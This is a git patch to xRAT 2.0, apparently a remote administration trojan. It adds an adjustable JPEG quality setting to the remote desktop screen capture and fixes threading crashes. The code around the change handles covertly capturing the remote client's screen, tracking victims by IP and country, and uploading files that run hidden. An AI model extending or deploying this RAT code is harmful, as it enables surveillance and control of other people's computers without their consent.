From d140ca438ec8e5d9a902ec1d88d1a0cb1c5f3533 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 2 Apr 2015 10:26:57 +0200 Subject: [PATCH] Improved Remote Desktop - Added ability to change quality of remote desktop - Fixed another cross threading crash --- Client/Core/Commands/CommandHandler.cs | 42 ++++--------- Client/Core/Helper/Helper.cs | 23 +------ Client/Core/Helper/UnsafeStreamCodec.cs | 3 +- .../Packets/ClientPackets/DesktopResponse.cs | 6 +- Client/Core/Packets/ServerPackets/Desktop.cs | 6 +- Server/Core/Commands/CommandHandler.cs | 60 +++++++++++-------- Server/Core/Helper/Helper.cs | 9 --- Server/Core/Helper/UnsafeStreamCodec.cs | 7 +-- .../Packets/ClientPackets/DesktopResponse.cs | 6 +- Server/Core/Packets/ServerPackets/Desktop.cs | 6 +- Server/Forms/FrmMain.cs | 24 ++++---- Server/Forms/FrmRemoteDesktop.Designer.cs | 38 ++++++------ Server/Forms/FrmRemoteDesktop.cs | 33 +++++----- 13 files changed, 122 insertions(+), 141 deletions(-) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index d4586bb7..e16c8fd6 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -215,43 +215,25 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) { - if (StreamCodec == null) - { - StreamCodec = new UnsafeStreamCodec(75); - } + if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality) + StreamCodec = new UnsafeStreamCodec(command.Quality); - LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); - BitmapData bmpdata = LastDesktopScreenshot.LockBits(new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat); + LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Number); + BitmapData bmpdata = LastDesktopScreenshot.LockBits( + new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite, + LastDesktopScreenshot.PixelFormat); - using(MemoryStream stream = new MemoryStream()) + using (MemoryStream stream = new MemoryStream()) { - StreamCodec.CodeImage(bmpdata.Scan0, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream); - new Packets.ClientPackets.DesktopResponse(stream.ToArray()).Execute(client); + StreamCodec.CodeImage(bmpdata.Scan0, + new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), + new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, + stream); + new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality).Execute(client); } LastDesktopScreenshot.UnlockBits(bmpdata); LastDesktopScreenshot.Dispose(); - - /*if (LastDesktopScreenshot == null) - { - LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); - - byte[] desktop = Helper.Helper.CImgToByte(LastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg); - - new Packets.ClientPackets.DesktopResponse(desktop).Execute(client); - } - else - { - Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number); - using (Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(LastDesktopScreenshot, currentDesktopScreenshot)) - { - LastDesktopScreenshot = currentDesktopScreenshot; - - byte[] desktop = Helper.Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png); - - new Packets.ClientPackets.DesktopResponse(desktop).Execute(client); - } - }*/ } public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client) diff --git a/Client/Core/Helper/Helper.cs b/Client/Core/Helper/Helper.cs index 8c65ea6a..f1474b34 100644 --- a/Client/Core/Helper/Helper.cs +++ b/Client/Core/Helper/Helper.cs @@ -30,31 +30,12 @@ public static string GetRandomName(int length) return randomName.ToString(); } - public static byte[] CImgToByte(Image image, System.Drawing.Imaging.ImageFormat format) + public static Bitmap GetDesktop(int screenNumber) { - using (MemoryStream ms = new MemoryStream()) - { - image.Save(ms, format); - return ms.ToArray(); - } - } - - public static Bitmap GetDesktop(int mode, int number) - { - var bounds = Screen.AllScreens[number].Bounds; + var bounds = Screen.AllScreens[screenNumber].Bounds; var screenshot = new Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb); using (Graphics graph = Graphics.FromImage(screenshot)) { - switch (mode) - { - case 1: - graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed; - break; - case 2: - graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality; - break; - } - graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); return screenshot; } diff --git a/Client/Core/Helper/UnsafeStreamCodec.cs b/Client/Core/Helper/UnsafeStreamCodec.cs index 95647b29..731fc351 100644 --- a/Client/Core/Helper/UnsafeStreamCodec.cs +++ b/Client/Core/Helper/UnsafeStreamCodec.cs @@ -24,7 +24,6 @@ private set } } - public Size CheckBlock { get; private set; } private byte[] _encodeBuffer; private Bitmap _decodedBitmap; @@ -50,7 +49,7 @@ private set /// Initialize a new object of UnsafeStreamCodec /// /// The quality to use between 0-100 - public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true) + public UnsafeStreamCodec(int imageQuality = 100) { this.CheckBlock = new Size(50, 1); this.ImageQuality = imageQuality; diff --git a/Client/Core/Packets/ClientPackets/DesktopResponse.cs b/Client/Core/Packets/ClientPackets/DesktopResponse.cs index c8bdbb73..f7fbba75 100644 --- a/Client/Core/Packets/ClientPackets/DesktopResponse.cs +++ b/Client/Core/Packets/ClientPackets/DesktopResponse.cs @@ -8,10 +8,14 @@ public class DesktopResponse : IPacket [ProtoMember(1)] public byte[] Image { get; set; } + [ProtoMember(2)] + public int Quality { get; set; } + public DesktopResponse() { } - public DesktopResponse(byte[] image) + public DesktopResponse(byte[] image, int quality) { this.Image = image; + this.Quality = quality; } public void Execute(Client client) diff --git a/Client/Core/Packets/ServerPackets/Desktop.cs b/Client/Core/Packets/ServerPackets/Desktop.cs index faa04c30..8ff2790f 100644 --- a/Client/Core/Packets/ServerPackets/Desktop.cs +++ b/Client/Core/Packets/ServerPackets/Desktop.cs @@ -6,15 +6,15 @@ namespace xClient.Core.Packets.ServerPackets public class Desktop : IPacket { [ProtoMember(1)] - public int Mode { get; set; } + public int Quality { get; set; } [ProtoMember(2)] public int Number { get; set; } public Desktop() { } - public Desktop(int mode, int number) + public Desktop(int quality, int number) { - this.Mode = mode; + this.Quality = quality; this.Number = number; } diff --git a/Server/Core/Commands/CommandHandler.cs b/Server/Core/Commands/CommandHandler.cs index c100c3f8..9f3d810d 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -13,13 +13,14 @@ namespace xServer.Core.Commands public static class CommandHandler { private const string DELIMITER = "$E$"; + private static int lastQuality = -1; - public static void HandleInitialize(Client client, Initialize packet, FrmMain mainForm) + public static void HandleInitialize(Client client, Initialize packet) { if (client.EndPoint.Address.ToString() == "255.255.255.255") return; - mainForm.Invoke((MethodInvoker)delegate + FrmMain.Instance.Invoke((MethodInvoker)delegate { try { @@ -32,11 +33,11 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma client.Value.City = packet.City; client.Value.Id = packet.Id; - if (!mainForm.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id)) - mainForm.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now); + if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id)) + FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now); - mainForm.ListenServer.ConnectedClients++; - mainForm.UpdateWindowTitle(mainForm.ListenServer.ConnectedClients, mainForm.lstClients.SelectedItems.Count); + FrmMain.Instance.ListenServer.ConnectedClients++; + FrmMain.Instance.UpdateWindowTitle(FrmMain.Instance.ListenServer.ConnectedClients, FrmMain.Instance.lstClients.SelectedItems.Count); string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode); @@ -49,10 +50,10 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma }) { Tag = client, ImageIndex = packet.ImageIndex }; - mainForm.lstClients.Items.Add(lvi); + FrmMain.Instance.lstClients.Items.Add(lvi); if (XMLSettings.ShowPopup) - ShowPopup(client, mainForm); + ShowPopup(client); client.Value.IsAuthenticated = true; } @@ -61,21 +62,21 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma }); } - private static void ShowPopup(Client c, FrmMain mainForm) + private static void ShowPopup(Client c) { - mainForm.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); + FrmMain.Instance.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info); } - public static void HandleStatus(Client client, Status packet, FrmMain mainForm) + public static void HandleStatus(Client client, Status packet) { new Thread(() => { - foreach (ListViewItem lvi in mainForm.lstClients.Items) + foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items) { Client c = (Client)lvi.Tag; if (client == c) { - mainForm.Invoke((MethodInvoker)delegate + FrmMain.Instance.Invoke((MethodInvoker)delegate { lvi.SubItems[3].Text = packet.Message; }); @@ -86,16 +87,16 @@ public static void HandleStatus(Client client, Status packet, FrmMain mainForm) }).Start(); } - public static void HandleUserStatus(Client client, UserStatus packet, FrmMain mainForm) + public static void HandleUserStatus(Client client, UserStatus packet) { new Thread(() => { - foreach (ListViewItem lvi in mainForm.lstClients.Items) + foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items) { Client c = (Client)lvi.Tag; if (client == c) { - mainForm.Invoke((MethodInvoker)delegate + FrmMain.Instance.Invoke((MethodInvoker)delegate { lvi.SubItems[4].Text = packet.Message; }); @@ -114,7 +115,9 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa // we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop` if (client.Value.LastDesktop == null) { - client.Value.StreamCodec = new Helper.UnsafeStreamCodec(0); + client.Value.StreamCodec = new Helper.UnsafeStreamCodec(); + if (lastQuality < 0) + lastQuality = packet.Quality; using (MemoryStream ms = new MemoryStream(packet.Image)) { @@ -132,15 +135,24 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa { using (MemoryStream ms = new MemoryStream(packet.Image)) { - Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms); - - client.Value.LastDesktop = newScreen; - client.Value.FrmRdp.Invoke((MethodInvoker) delegate + lock (client.Value.StreamCodec) { - client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone(); - }); + if (lastQuality != packet.Quality) + { + client.Value.StreamCodec = new Helper.UnsafeStreamCodec(); + lastQuality = packet.Quality; + } - newScreen = null; + Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms); + + client.Value.LastDesktop = newScreen; + client.Value.FrmRdp.Invoke((MethodInvoker) delegate + { + client.Value.FrmRdp.picDesktop.Image = (Bitmap) newScreen.Clone(); + }); + + newScreen = null; + } } } diff --git a/Server/Core/Helper/Helper.cs b/Server/Core/Helper/Helper.cs index 336c1b4d..1f37bd82 100644 --- a/Server/Core/Helper/Helper.cs +++ b/Server/Core/Helper/Helper.cs @@ -28,15 +28,6 @@ public static string GetRandomName(int length) return randomName.ToString(); } - public static Image CByteToImg(byte[] img) - { - using (MemoryStream ms = new MemoryStream(img, 0, img.Length)) - { - ms.Write(img, 0, img.Length); - return Image.FromStream(ms, true); - } - } - public static string GetFileSize(long size) { string[] sizes = { "B", "KB", "MB", "GB" }; diff --git a/Server/Core/Helper/UnsafeStreamCodec.cs b/Server/Core/Helper/UnsafeStreamCodec.cs index da4ca36e..ff19765f 100644 --- a/Server/Core/Helper/UnsafeStreamCodec.cs +++ b/Server/Core/Helper/UnsafeStreamCodec.cs @@ -24,7 +24,6 @@ private set } } - public Size CheckBlock { get; private set; } private byte[] _encodeBuffer; private Bitmap _decodedBitmap; @@ -50,7 +49,7 @@ private set /// Initialize a new object of UnsafeStreamCodec /// /// The quality to use between 0-100 - public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true) + public UnsafeStreamCodec(int imageQuality = 100) { this.CheckBlock = new Size(50, 1); } @@ -154,10 +153,10 @@ public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, P y += s.Height; } - for (int i = 0, x = scanArea.X; i < blocks.Count; i++) + for (int i = 0; i < blocks.Count; i++) { s = new Size(CheckBlock.Width, blocks[i].Height); - x = scanArea.X; + int x = scanArea.X; while (x != scanArea.Width) { if (x == lastx) diff --git a/Server/Core/Packets/ClientPackets/DesktopResponse.cs b/Server/Core/Packets/ClientPackets/DesktopResponse.cs index 4b704374..dee2c9e1 100644 --- a/Server/Core/Packets/ClientPackets/DesktopResponse.cs +++ b/Server/Core/Packets/ClientPackets/DesktopResponse.cs @@ -8,10 +8,14 @@ public class DesktopResponse : IPacket [ProtoMember(1)] public byte[] Image { get; set; } + [ProtoMember(2)] + public int Quality { get; set; } + public DesktopResponse() { } - public DesktopResponse(byte[] image) + public DesktopResponse(byte[] image, int quality) { this.Image = image; + this.Quality = quality; } public void Execute(Client client) diff --git a/Server/Core/Packets/ServerPackets/Desktop.cs b/Server/Core/Packets/ServerPackets/Desktop.cs index 3e19e623..2a8cf4b9 100644 --- a/Server/Core/Packets/ServerPackets/Desktop.cs +++ b/Server/Core/Packets/ServerPackets/Desktop.cs @@ -6,15 +6,15 @@ namespace xServer.Core.Packets.ServerPackets public class Desktop : IPacket { [ProtoMember(1)] - public int Mode { get; set; } + public int Quality { get; set; } [ProtoMember(2)] public int Number { get; set; } public Desktop() { } - public Desktop(int mode, int number) + public Desktop(int quality, int number) { - this.Mode = mode; + this.Quality = quality; this.Number = number; } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 2262c940..e5fe4bab 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -14,8 +14,7 @@ public partial class FrmMain : Form { public Server ListenServer; private readonly ListViewColumnSorter _lvwColumnSorter; - private static FrmMain Instance; - + public static volatile FrmMain Instance; private void ReadSettings(bool writeIfNotExist = true) { @@ -184,12 +183,17 @@ private void ClientState(Server server, Client client, bool connected) } else { - foreach (ListViewItem lvi in lstClients.Items) - if ((Client)lvi.Tag == client) + this.Invoke((MethodInvoker) delegate + { + foreach (ListViewItem lvi in lstClients.Items) { - lvi.Remove(); - server.ConnectedClients--; + if ((Client) lvi.Tag == client) + { + lvi.Remove(); + server.ConnectedClients--; + } } + }); UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count); } } @@ -201,18 +205,18 @@ private void ClientRead(Server server, Client client, IPacket packet) if (!client.Value.IsAuthenticated) { if (type == typeof(Core.Packets.ClientPackets.Initialize)) - CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet, this); + CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet); else return; } if (type == typeof(Core.Packets.ClientPackets.Status)) { - CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet, this); + CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet); } else if (type == typeof(Core.Packets.ClientPackets.UserStatus)) { - CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet, this); + CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet); } else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse)) { @@ -476,7 +480,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e) { Client c = (Client)lvi.Tag; new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c); - CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."), this); + CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file...")); } } } diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Server/Forms/FrmRemoteDesktop.Designer.cs index dacbfb22..88216292 100644 --- a/Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Server/Forms/FrmRemoteDesktop.Designer.cs @@ -37,9 +37,9 @@ private void InitializeComponent() this.btnMouse = new System.Windows.Forms.Button(); this.picDesktop = new System.Windows.Forms.PictureBox(); this.panelTop = new System.Windows.Forms.Panel(); + this.cbMonitors = new System.Windows.Forms.ComboBox(); this.btnHide = new System.Windows.Forms.Button(); this.btnShow = new System.Windows.Forms.Button(); - this.cbMonitors = new System.Windows.Forms.ComboBox(); ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); this.panelTop.SuspendLayout(); @@ -69,12 +69,12 @@ private void InitializeComponent() // barQuality // this.barQuality.Location = new System.Drawing.Point(230, 3); - this.barQuality.Maximum = 2; + this.barQuality.Maximum = 100; this.barQuality.Minimum = 1; this.barQuality.Name = "barQuality"; this.barQuality.Size = new System.Drawing.Size(104, 45); this.barQuality.TabIndex = 3; - this.barQuality.Value = 1; + this.barQuality.Value = 75; this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll); // // lblQuality @@ -82,18 +82,18 @@ private void InitializeComponent() this.lblQuality.AutoSize = true; this.lblQuality.Location = new System.Drawing.Point(184, 18); this.lblQuality.Name = "lblQuality"; - this.lblQuality.Size = new System.Drawing.Size(40, 13); + this.lblQuality.Size = new System.Drawing.Size(47, 13); this.lblQuality.TabIndex = 4; - this.lblQuality.Text = "Mode:"; + this.lblQuality.Text = "Quality:"; // // lblQualityShow // this.lblQualityShow.AutoSize = true; - this.lblQualityShow.Location = new System.Drawing.Point(262, 38); + this.lblQualityShow.Location = new System.Drawing.Point(254, 38); this.lblQualityShow.Name = "lblQualityShow"; - this.lblQualityShow.Size = new System.Drawing.Size(39, 13); + this.lblQualityShow.Size = new System.Drawing.Size(52, 13); this.lblQualityShow.TabIndex = 5; - this.lblQualityShow.Text = "Speed"; + this.lblQualityShow.Text = "75 (high)"; // // btnMouse // @@ -136,6 +136,15 @@ private void InitializeComponent() this.panelTop.Size = new System.Drawing.Size(384, 57); this.panelTop.TabIndex = 7; // + // cbMonitors + // + this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbMonitors.FormattingEnabled = true; + this.cbMonitors.Location = new System.Drawing.Point(15, 30); + this.cbMonitors.Name = "cbMonitors"; + this.cbMonitors.Size = new System.Drawing.Size(149, 21); + this.cbMonitors.TabIndex = 8; + // // btnHide // this.btnHide.Location = new System.Drawing.Point(170, 37); @@ -157,16 +166,7 @@ private void InitializeComponent() this.btnShow.Visible = false; this.btnShow.Click += new System.EventHandler(this.btnShow_Click); // - // cbMonitors - // - this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; - this.cbMonitors.FormattingEnabled = true; - this.cbMonitors.Location = new System.Drawing.Point(15, 30); - this.cbMonitors.Name = "cbMonitors"; - this.cbMonitors.Size = new System.Drawing.Size(149, 21); - this.cbMonitors.TabIndex = 8; - // - // frmRemoteDesktop + // FrmRemoteDesktop // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; @@ -179,7 +179,7 @@ private void InitializeComponent() this.KeyPreview = true; this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(570, 421); - this.Name = "frmRemoteDesktop"; + this.Name = "FrmRemoteDesktop"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "xRAT 2.0 - Remote Desktop []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing); diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 1cd975f1..b5f9a2ea 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -2,6 +2,7 @@ using System.Threading; using System.Windows.Forms; using xServer.Core; +using xServer.Core.Helper; namespace xServer.Forms { @@ -47,21 +48,22 @@ private void GetDesktop() { btnStart.Enabled = false; btnStop.Enabled = true; + barQuality.Enabled = false; }); if (_connectClient.Value != null) { if (_connectClient.Value.LastDesktopSeen) { - int Quality = 1; - int SelectedMonitorIndex = 0; + int quality = 1; + int selectedMonitorIndex = 0; this.Invoke((MethodInvoker)delegate { - Quality = barQuality.Value; - SelectedMonitorIndex = cbMonitors.SelectedIndex; + quality = barQuality.Value; + selectedMonitorIndex = cbMonitors.SelectedIndex; }); - new Core.Packets.ServerPackets.Desktop(Quality, SelectedMonitorIndex).Execute(_connectClient); + new Core.Packets.ServerPackets.Desktop(quality, selectedMonitorIndex).Execute(_connectClient); _connectClient.Value.LastDesktopSeen = false; } } @@ -77,6 +79,7 @@ private void GetDesktop() { btnStart.Enabled = true; btnStop.Enabled = false; + barQuality.Enabled = true; }); } catch @@ -111,15 +114,17 @@ private void btnStop_Click(object sender, EventArgs e) private void barQuality_Scroll(object sender, EventArgs e) { - switch (barQuality.Value) - { - case 1: - lblQualityShow.Text = "Speed"; - break; - case 2: - lblQualityShow.Text = "Quality"; - break; - } + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; } private void btnMouse_Click(object sender, EventArgs e)